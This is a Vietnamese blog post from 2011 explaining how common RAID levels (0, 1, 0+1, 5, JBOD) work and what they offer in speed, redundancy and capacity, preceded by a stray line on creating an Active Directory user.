Start / Programs / Administrative Tools / Active Directory Users and Computer / click nút phải chuột trên OU Users / New / User



Monday, March 7, 2011

Tìm hiểu về RAID

RAID là chữ viết tắt của Redundant Array of Independent Disks. Ban đầu, RAID được sử dụng như một giải pháp phòng hộ vì nó cho phép ghi dữ liệu lên nhiều đĩa cứng cùng lúc. Về sau, RAID đã có nhiều biến thể cho phép không chỉ đảm bảo an toàn dữ liệu mà còn giúp gia tăng đáng kể tốc độ truy xuất dữ liệu từ đĩa cứng. Dưới đây là năm loại RAID được dùng phổ biến:

a) RAID 0

Đây là dạng RAID đang được người dùng ưa thích do khả năng nâng cao hiệu suất trao đổi dữ liệu của đĩa cứng. Đòi hỏi tối thiểu hai đĩa cứng, RAID 0 cho phép máy tính ghi dữ liệu lên chúng theo một phương thức đặc biệt được gọi là Striping. Ví dụ bạn có 8 đoạn dữ liệu được đánh số từ 1 đến 8, các đoạn đánh số lẻ (1,3,5,7) sẽ được ghi lên đĩa cứng đầu tiên và các đoạn đánh số chẵn (2,4,6,8) sẽ được ghi lên đĩa thứ hai. Để đơn giản hơn, bạn có thể hình dung mình có 100MB dữ liệu và thay vì dồn 100MB vào một đĩa cứng duy nhất, RAID 0 sẽ giúp dồn 50MB vào mỗi đĩa cứng riêng giúp giảm một nửa thời gian làm việc theo lý thuyết. Từ đó bạn có thể dễ dàng suy ra nếu có 4, 8 hay nhiều đĩa cứng hơn nữa thì tốc độ sẽ càng cao hơn. Tuy nghe có vẻ hấp dẫn nhưng trên thực tế, RAID 0 vẫn ẩn chứa nguy cơ mất dữ liệu. Nguyên nhân chính lại nằm ở cách ghi thông tin xé lẻ vì như vậy dữ liệu không nằm hoàn toàn ở một đĩa cứng nào và mỗi khi cần truy xuất thông tin (ví dụ một file nào đó), máy tính sẽ phải tổng hợp từ các đĩa cứng. Nếu một đĩa cứng gặp trục trặc thì thông tin (file) đó coi như không thể đọc được và mất luôn. Thật may mắn là với công nghệ hiện đại, sản phẩm phần cứng khá bền nên những trường hợp mất dữ liệu như vậy xảy ra không nhiều. Có thể thấy RAID 0 thực sự thích hợp cho những người dùng cần truy cập nhanh khối lượng dữ liệu lớn, ví dụ các game thủ hoặc những người chuyên làm đồ hoạ, video số.

b) RAID 1


Đây là dạng RAID cơ bản nhất có khả năng đảm bảo an toàn dữ liệu. Cũng giống như RAID 0, RAID 1 đòi hỏi ít nhất hai đĩa cứng để làm việc. Dữ liệu được ghi vào 2 ổ giống hệt nhau (Mirroring). Trong trường hợp một ổ bị trục trặc, ổ còn lại sẽ tiếp tục hoạt động bình thường. Bạn có thể thay thế ổ đĩa bị hỏng mà không phải lo lắng đến vấn đề thông tin thất lạc. Đối với RAID 1, hiệu năng không phải là yếu tố hàng đầu nên chẳng có gì ngạc nhiên nếu nó không phải là lựa chọn số một cho những người say mê tốc độ. Tuy nhiên đối với những nhà quản trị mạng hoặc những ai phải quản lý nhiều thông tin quan trọng thì hệ thống RAID 1 là thứ không thể thiếu. Dung lượng cuối cùng của hệ thống RAID 1 bằng dung lượng của ổ đơn (hai ổ 80GB chạy RAID 1 sẽ cho hệ thống nhìn thấy duy nhất một ổ RAID 80GB).

c) RAID 0+1


Có bao giờ bạn ao ước một hệ thống lưu trữ nhanh nhẹn như RAID 0, an toàn như RAID 1 hay chưa? Chắc chắn là có và hiển nhiên ước muốn đó không chỉ của riêng bạn. Chính vì thế mà hệ thống RAID kết hợp 0+1 đã ra đời, tổng hợp ưu điểm của cả hai “đàn anh”. Tuy nhiên chi phí cho một hệ thống kiểu này khá đắt, bạn sẽ cần tối thiểu 4 đĩa cứng để chạy RAID 0+1. Dữ liệu sẽ được ghi đồng thời lên 4 đĩa cứng với 2 ổ dạng Striping tăng tốc và 2 ổ dạng Mirroring sao lưu. 4 ổ đĩa này phải giống hệt nhau và khi đưa vào hệ thống RAID 0+1, dung lượng cuối cùng sẽ bằng ½ tổng dung lượng 4 ổ, ví dụ bạn chạy 4 ổ 80GB thì lượng dữ liệu “thấy được” là (4*80)/2 = 160GB.

d) RAID 5

Đây có lẽ là dạng RAID mạnh mẽ nhất cho người dùng văn phòng và gia đình với 3 hoặc 5 đĩa cứng riêng biệt. Dữ liệu và bản sao lưu được chia lên tất cả các ổ cứng. Nguyên tắc này khá rối rắm. Chúng ta quay trở lại ví dụ về 8 đoạn dữ liệu (1-8) và giờ đây là 3 ổ đĩa cứng. Đoạn dữ liệu số 1 và số 2 sẽ được ghi vào ổ đĩa 1 và 2 riêng rẽ, đoạn sao lưu của chúng được ghi vào ổ cứng 3. Đoạn số 3 và 4 được ghi vào ổ 1 và 3 với đoạn sao lưu tương ứng ghi vào ổ đĩa 2. Đoạn số 5, 6 ghi vào ổ đĩa 2 và 3, còn đoạn sao lưu được ghi vào ổ đĩa 1 và sau đó trình tự này lặp lại, đoạn số 7,8 được ghi vào ổ 1, 2 và đoạn sao lưu ghi vào ổ 3 như ban đầu. Như vậy RAID 5 vừa đảm bảo tốc độ có cải thiện, vừa giữ được tính an toàn cao. Dung lượng đĩa cứng cuối cùng bằng tổng dung lượng đĩa sử dụng trừ đi một ổ. Tức là nếu bạn dùng 3 ổ 80GB thì dung lượng cuối cùng sẽ là 160GB.

e) JBOD

JBOD (Just a Bunch Of Disks) thực tế không phải là một dạng RAID chính thống, nhưng lại có một số đặc điểm liên quan tới RAID và được đa số các thiết bị điều khiển RAID hỗ trợ. JBOD cho phép bạn gắn bao nhiêu ổ đĩa tùy thích vào bộ điều khiển RAID của mình (dĩ nhiên là trong giới hạn cổng cho phép). Sau đó chúng sẽ được “tổng hợp” lại thành một đĩa cứng lớn hơn cho hệ thống sử dụng. Ví dụ bạn cắm vào đó các ổ 10GB, 20GB, 30GB thì thông qua bộ điều khiển RAID có hỗ trợ JBOD, máy tính sẽ nhận ra một ổ đĩa 60GB. Tuy nhiên, lưu ý là JBOD không hề đem lại bất cứ một giá trị phụ trội nào khác: không cải thiện về hiệu năng, không mang lại giải pháp an toàn dữ liệu, chỉ là kết nối và tổng hợp dung lượng mà thôi.

f) Một số loại RAID khác


Ngoài các loại được đề cập ở trên, bạn còn có thể bắt gặp nhiều loại RAID khác nhưng chúng không được sử dụng rộng rãi mà chỉ giới hạn trong các hệ thống máy tính phục vụ mục đích riêng, có thể kể như: Level 2 (Error-Correcting Coding), Level 3 (Bit-Interleaved Parity), Level 4 (Dedicated Parity Drive), Level 6 (Independent Data Disks with Double Parity), Level 10 (Stripe of Mirrors, ngược lại với RAID 0+1), Level 7 (thương hiệu của tập đoàn Storage Computer, cho phép thêm bộ đệm cho RAID 3 và 4), RAID S (phát minh của tập đoàn EMC và được sử dụng trong các hệ thống lưu trữ Symmetrix của họ). Bên cạnh đó còn một số biến thể khác, ví dụ như Intel Matrix Storage cho phép chạy kiểu RAID 0+1 với chỉ 2 ổ cứng hoặc RAID 1.5 của DFI trên các hệ BMC 865, 875. Chúng tuy có nhiều điểm khác biệt nhưng đa phần đều là bản cải tiến của các phương thức RAID truyền thống.